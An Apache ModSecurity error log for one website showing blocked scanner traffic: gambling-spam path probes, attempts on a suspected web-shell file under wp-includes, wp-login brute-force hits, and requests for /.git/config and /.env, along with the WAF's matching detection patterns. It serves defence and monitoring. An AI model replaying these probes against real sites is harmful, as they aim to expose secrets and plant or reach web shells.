[Sat May 09 04:47:10.242481 2026] [:error] [pid 9187:tid 9274] [client 217.182.194.25:51196] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "af5LzhC7An6gkXsRsaHOXAAAAJU"]
[Sat May 09 04:47:12.645555 2026] [:error] [pid 9920:tid 9936] [client 217.182.194.25:51202] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "af5L0ExitGYhlzgZb5ZJvgAAAc4"]
[Sat May 09 04:47:15.159556 2026] [:error] [pid 9293:tid 9321] [client 217.182.194.25:51204] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "af5L05R__qEzV5O6Z2Op-QAAANg"]
[Sat May 09 04:47:17.388252 2026] [:error] [pid 9293:tid 9303] [client 217.182.194.25:51206] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "af5L1ZR__qEzV5O6Z2OqBwAAAMY"]
[Sat May 09 04:47:19.754512 2026] [:error] [pid 9186:tid 9242] [client 217.182.194.25:39774] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "af5L1xW4eFOEw1mKOgJsFQAAAFA"]
[Sat May 09 04:47:22.186437 2026] [:error] [pid 9187:tid 9277] [client 217.182.194.25:39780] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "af5L2hC7An6gkXsRsaHOiAAAAJg"]
[Sat May 09 04:47:24.699135 2026] [:error] [pid 9187:tid 9256] [client 217.182.194.25:39796] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "af5L3BC7An6gkXsRsaHOkAAAAIM"]
[Sat May 09 04:47:27.133855 2026] [:error] [pid 9184:tid 9204] [client 217.182.194.25:39806] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "af5L34jfODqb_i0Fm99TfwAAAAc"]
[Sat May 09 04:47:29.709823 2026] [:error] [pid 9833:tid 9839] [client 217.182.194.25:33512] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "af5L4SM9JmxIS0KGZUApvQAAAYE"]
[Sat May 09 04:47:32.195888 2026] [:error] [pid 9186:tid 9245] [client 217.182.194.25:33514] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "af5L5BW4eFOEw1mKOgJsJgAAAFM"]
[Sat May 09 04:47:34.566775 2026] [:error] [pid 9920:tid 9930] [client 217.182.194.25:33518] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "af5L5kxitGYhlzgZb5ZJ3QAAAcg"]
[Sat May 09 04:47:37.071098 2026] [:error] [pid 9187:tid 9258] [client 217.182.194.25:33528] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "af5L6RC7An6gkXsRsaHOogAAAIU"]
[Sat May 09 04:47:39.392921 2026] [:error] [pid 9187:tid 9263] [client 217.182.194.25:33458] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "af5L6xC7An6gkXsRsaHOqQAAAIo"]
[Sat May 09 04:47:41.798726 2026] [:error] [pid 9920:tid 9938] [client 217.182.194.25:33462] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "af5L7UxitGYhlzgZb5ZJ4QAAAdA"]
[Sat May 09 04:47:44.367579 2026] [:error] [pid 9760:tid 9781] [client 217.182.194.25:33474] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "af5L8GIkCp-C_fh0s7L9xwAAAU8"]
[Sat May 09 04:47:46.891817 2026] [:error] [pid 9833:tid 9862] [client 217.182.194.25:33480] [client 217.182.194.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "af5L8iM9JmxIS0KGZUApywAAAZg"]
[Sat May 09 05:48:41.499283 2026] [:error] [pid 9920:tid 9935] [client 78.47.173.76:10848] [client 78.47.173.76] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "54.39.89.186_38fe0bde74a94317ba64948c2013b47a85fb6514"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/index.php"] [unique_id "af5aNUxitGYhlzgZb5Zc1wAAAc0"], referer: https://vetstars.com.au/
[Sat May 09 06:58:11.718048 2026] [:error] [pid 9663:tid 9681] [client 45.154.98.197:63695] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "af5qg5cWIu01SCxbjwvWuQAAAQ8"]
[Sat May 09 06:58:12.222931 2026] [:error] [pid 9184:tid 9201] [client 45.154.98.197:63804] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "af5qhIjfODqb_i0Fm99hQgAAAAQ"]
[Sat May 09 06:58:12.727910 2026] [:error] [pid 9663:tid 9683] [client 45.154.98.197:63968] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "af5qhJcWIu01SCxbjwvWugAAARE"]
[Sat May 09 06:58:15.463792 2026] [:error] [pid 9663:tid 9687] [client 45.154.98.197:65458] [client 45.154.98.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/txets.php"] [unique_id "af5qh5cWIu01SCxbjwvWvgAAARU"]
[Sat May 09 06:58:36.300736 2026] [:error] [pid 9920:tid 9935] [client 45.130.83.102:48793] [client 45.130.83.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.83.102, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af5qnExitGYhlzgZb5Zs1wAAAc0"]
[Sat May 09 07:14:09.045613 2026] [:error] [pid 9663:tid 9674] [client 45.130.83.88:45683] [client 45.130.83.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.83.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af5uQZcWIu01SCxbjwva0AAAAQg"]
[Sat May 09 07:28:12.771787 2026] [:error] [pid 9293:tid 9305] [client 175.178.110.121:37372] [client 175.178.110.121] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af5xjJR__qEzV5O6Z2PzCgAAAMg"]
[Sat May 09 08:50:02.008813 2026] [:error] [pid 9187:tid 9262] [client 172.212.190.20:64258] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "af6EuhC7An6gkXsRsaEcawAAAIk"]
[Sat May 09 08:50:02.765001 2026] [:error] [pid 9920:tid 9931] [client 172.212.190.20:58863] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "af6EukxitGYhlzgZb5aKWQAAAck"]
[Sat May 09 08:50:03.510825 2026] [:error] [pid 9920:tid 9929] [client 172.212.190.20:58091] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "af6Eu0xitGYhlzgZb5aKXAAAAcc"]
[Sat May 09 08:50:04.293203 2026] [:error] [pid 9186:tid 9245] [client 172.212.190.20:57385] [client 172.212.190.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "af6EvBW4eFOEw1mKOgKWbgAAAFM"]
[Sat May 09 10:44:00.220179 2026] [:error] [pid 9760:tid 9767] [client 43.159.128.247:53712] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af6fcGIkCp-C_fh0s7Im-AAAAUE"]
[Sat May 09 14:34:49.260863 2026] [:error] [pid 9293:tid 9299] [client 45.130.83.100:46027] [client 45.130.83.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.83.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af7ViZR__qEzV5O6Z2ORqwAAAMI"]
[Sat May 09 14:42:18.930098 2026] [:error] [pid 9920:tid 9945] [client 43.160.219.138:60300] [client 43.160.219.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "af7XSkxitGYhlzgZb5bZAAAAAdc"]
[Sat May 09 17:23:45.264327 2026] [:error] [pid 9920:tid 9929] [client 45.130.83.112:23283] [client 45.130.83.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.130.83.112, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af79IUxitGYhlzgZb5b5LwAAAcc"]
[Sat May 09 18:18:25.025109 2026] [:error] [pid 9833:tid 9861] [client 34.90.109.46:49948] [client 34.90.109.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "af8J8SM9JmxIS0KGZUCQDQAAAZc"]
[Sat May 09 18:18:28.234629 2026] [:error] [pid 9187:tid 9261] [client 34.90.109.46:44014] [client 34.90.109.46] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "af8J9BC7An6gkXsRsaHXjgAAAIg"]
[Sat May 09 18:49:55.397740 2026] [:error] [pid 9920:tid 9945] [client 101.33.55.204:56094] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "af8RU0xitGYhlzgZb5YKCgAAAdc"]
[Sat May 09 18:55:29.348464 2026] [:error] [pid 9293:tid 9316] [client 194.62.107.230:48293] [client 194.62.107.230] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.env"] [unique_id "af8SoZR__qEzV5O6Z2PaCAAAANM"]
[Sat May 09 19:10:14.384812 2026] [:error] [pid 9187:tid 9263] [client 18.193.81.110:51246] [client 18.193.81.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.193.81.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af8WFhC7An6gkXsRsaHr6gAAAIo"]
[Sat May 09 19:10:19.480566 2026] [:error] [pid 9920:tid 9938] [client 18.193.81.110:46544] [client 18.193.81.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.193.81.110, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "af8WG0xitGYhlzgZb5YOhgAAAdA"]
[Sat May 09 19:16:35.113015 2026] [:error] [pid 9663:tid 9682] [client 65.108.78.33:53576] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "af8Xk5cWIu01SCxbjwtagwAAARA"]
[Sat May 09 19:16:37.687783 2026] [:error] [pid 9663:tid 9685] [client 65.108.78.33:53592] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "af8XlZcWIu01SCxbjwtahwAAARM"]
[Sat May 09 19:16:40.156296 2026] [:error] [pid 9293:tid 9301] [client 65.108.78.33:53614] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "af8XmJR__qEzV5O6Z2PfHwAAAMQ"]
[Sat May 09 19:16:42.724552 2026] [:error] [pid 9186:tid 9239] [client 65.108.78.33:27894] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "af8XmhW4eFOEw1mKOgLvaAAAAE0"]
[Sat May 09 19:16:45.232261 2026] [:error] [pid 9920:tid 9935] [client 65.108.78.33:27904] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "af8XnUxitGYhlzgZb5YPzgAAAc0"]
[Sat May 09 19:16:47.718026 2026] [:error] [pid 9186:tid 9229] [client 65.108.78.33:27914] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "af8XnxW4eFOEw1mKOgLvdAAAAEM"]
[Sat May 09 19:17:00.349088 2026] [:error] [pid 9293:tid 9308] [client 65.108.78.33:50634] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "af8XrJR__qEzV5O6Z2PfKgAAAMs"]
[Sat May 09 19:17:02.807018 2026] [:error] [pid 9293:tid 9313] [client 65.108.78.33:10498] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "af8XrpR__qEzV5O6Z2PfMQAAANA"]
[Sat May 09 19:17:05.375814 2026] [:error] [pid 9920:tid 9925] [client 65.108.78.33:10514] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "af8XsUxitGYhlzgZb5YP-QAAAcM"]
[Sat May 09 19:17:07.888442 2026] [:error] [pid 9663:tid 9684] [client 65.108.78.33:10530] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "af8Xs5cWIu01SCxbjwtamAAAARI"]
[Sat May 09 19:17:15.838943 2026] [:error] [pid 9293:tid 9311] [client 65.108.78.33:20824] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "af8Xu5R__qEzV5O6Z2PfOAAAAM4"]
[Sat May 09 19:17:18.361126 2026] [:error] [pid 9187:tid 9269] [client 65.108.78.33:20836] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "af8XvhC7An6gkXsRsaHungAAAJA"]
[Sat May 09 19:17:20.899717 2026] [:error] [pid 9833:tid 9859] [client 65.108.78.33:20850] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "af8XwCM9JmxIS0KGZUCXDwAAAZU"]
[Sat May 09 19:17:23.422537 2026] [:error] [pid 9187:tid 9270] [client 65.108.78.33:15942] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "af8XwxC7An6gkXsRsaHupwAAAJE"]
[Sat May 09 19:17:25.841722 2026] [:error] [pid 9187:tid 9261] [client 65.108.78.33:15958] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "af8XxRC7An6gkXsRsaHurwAAAIg"]
[Sat May 09 19:17:28.323361 2026] [:error] [pid 9293:tid 9320] [client 65.108.78.33:15970] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "af8XyJR__qEzV5O6Z2PfPQAAANc"]
[Sat May 09 19:17:30.694359 2026] [:error] [pid 9187:tid 9261] [client 65.108.78.33:15986] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "af8XyhC7An6gkXsRsaHutAAAAIg"]
